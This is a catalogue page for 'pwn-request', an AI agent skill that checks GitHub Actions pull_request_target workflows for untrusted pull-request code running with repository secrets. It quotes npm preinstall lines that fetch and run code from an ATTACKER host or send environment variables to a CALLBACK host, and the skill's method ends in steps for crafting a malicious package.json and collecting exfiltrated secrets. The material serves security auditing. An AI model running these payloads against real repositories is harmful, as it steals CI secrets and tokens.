pwn-request

pwn-request is a skill for Claude Code, Codex from SecurityTalent/bugskill-ai. It costs 117 tokens per session (2,021 once invoked), scanned C, original, MIT.

A security-checking skill for a GitHub Actions weakness called a Pwn Request. This happens when code from an untrusted pull request runs in a privileged workflow that can access repository secrets.

In plain words
What is it for?
It is for inspecting pull-request workflows, checkout steps, package installation, and build commands for this attack pattern.
Why use it?
It helps find workflows that accidentally let pull-request authors execute code with sensitive permissions.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one. Also seen: mentions Claude Code.

Needs its repository: it runs a file that does not travel with it, so clone the repository first. The line is "preinstall": "curl -sSfL https://ATTACKER/cacheract.js > /tmp/r.js && node /tmp/r.js".

Good fit It is for inspecting pull-request workflows, checkout steps, package installation, and build commands for this attack pattern.

Compare 6 skills from other repositories ↓
Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/SecurityTalent/bugskill-ai
agentmods
npx agentmods add skills/securitytalent/bugskill-ai/pwn-request

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for pwn-request

README.md
[![agentmods](https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/pwn-request/github.svg)](https://agentmods.dev/skills/securitytalent/bugskill-ai/pwn-request)
Your own site
<a href="https://agentmods.dev/skills/securitytalent/bugskill-ai/pwn-request"><img src="https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/pwn-request/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for pwn-request

Your own site · 80×15
<a href="https://agentmods.dev/skills/securitytalent/bugskill-ai/pwn-request"><img src="https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/pwn-request.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 117 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 2,021 The whole file, excluding the scripts and references it only reads on demand.
Security scan C 3 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00117 $0.02021
Opus 5.5 $0.00047 $0.00808
Sonnet 5.5 $0.00023 $0.00404
Haiku 4.5 $0.00012 $0.00202

Measured 20d ago against content hash d7673e8293fd, method: parsed. Prices are Anthropic first-party input rates as of 2026-10-07, from the pricing page.

Security

Grade C, and why

pwn-request scanned grade C with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 20d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Sends data to an external URLmediumData exfiltration

A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.

Trigger: `preinstall` script runs `curl -d @/proc/self/environ https://CALLBACK`.

Unrestricted tool accessmediumExcessive agency

A wildcard tool grant or "run any command" leaves no least-privilege boundary at all.

now execute arbitrary code with the repository's `GITHUB_TOKEN` and all configured secrets.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

"preinstall": "curl -sSfL https://CALLBACK/$(printenv | base64 -w0)"
Awesome-Claude-Code-Agent-Skills/10-DevSecOps-and-Defense/pwn-request/SKILL.md · 169 lines

How it starts

The opening of the file, as written. The whole thing — 169 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Pwn Request

What Is Broken and Why

A "Pwn Request" occurs when a pull_request_target workflow — which runs in the context of the base repository with access to its secrets — explicitly checks out the PR contributor's code and executes it (via npm install, make, build scripts, etc.). pull_request_target was designed to safely access secrets for things like posting comments on PRs from forks, but developers mistakenly combine it with a checkout of the PR head SHA, collapsing the trust boundary. Any attacker who can open a PR can now execute arbitrary code with the repository's GITHUB_TOKEN and all configured secrets. The npm preinstall/postinstall lifecycle scripts are the most common execution vector — they run automatically during npm install / npm ci with no additional flags required unless --ignore-scripts is explicitly set.

Key Signals

  • on: pull_request_target trigger in a workflow file
  • actions/checkout step with ref: ${{ github.event.pull_request.head.sha }} or ref: ${{ github.head_ref }}
  • Package manager install step after that checkout: npm install, npm ci, yarn, pnpm install
  • --ignore-scripts=false explicitly set (overrides safe default) or --ignore-scripts absent
  • permissions: contents: write or secrets.* accessible in the same job
  • Build/test job that runs attacker's code AND has access to publish tokens or deployment keys
  • Cache key derived from hashFiles('**/package.json') — attacker controls package.json

Methodology

  1. Find all pull_request_target workflows:
    grep -rln 'pull_request_target' .github/workflows/
    
  2. For each, check if actions/checkout references PR head code:
    grep -A5 'actions/checkout' .github/workflows/WORKFLOW.yml | grep 'head.sha\|head_ref'
    
  3. Identify what runs after checkout: npm install, yarn, pnpm, make, build scripts.
  4. Check if --ignore-scripts is set. If absent or =false, lifecycle scripts execute.
  5. Enumerate secrets accessible in the workflow (secrets.* references, environment names).
  6. Check if the same cache key is shared with a privileged downstream workflow (release, publish).
  7. Craft malicious package.json with payload in preinstall or postinstall.
  8. Open a PR from a fork — workflow triggers automatically.
  9. Collect exfiltrated secrets via CALLBACK server or OOB DNS.

Read the full file on GitHub · 169 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 20d ago First seen · 169 lines · 117 tokens per session scan C d7673e8293fd

Subscribe to this mod's changes

pwn-request is a skill published in the GitHub repository SecurityTalent/bugskill-ai (13 stars, last pushed 21d ago), licensed MIT. It adds 117 tokens to every session and 2,021 once invoked, about $0.0005 per session on Opus 5.5. A static security scan graded it C with 3 findings (sends data to an external url, unrestricted tool access, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-27.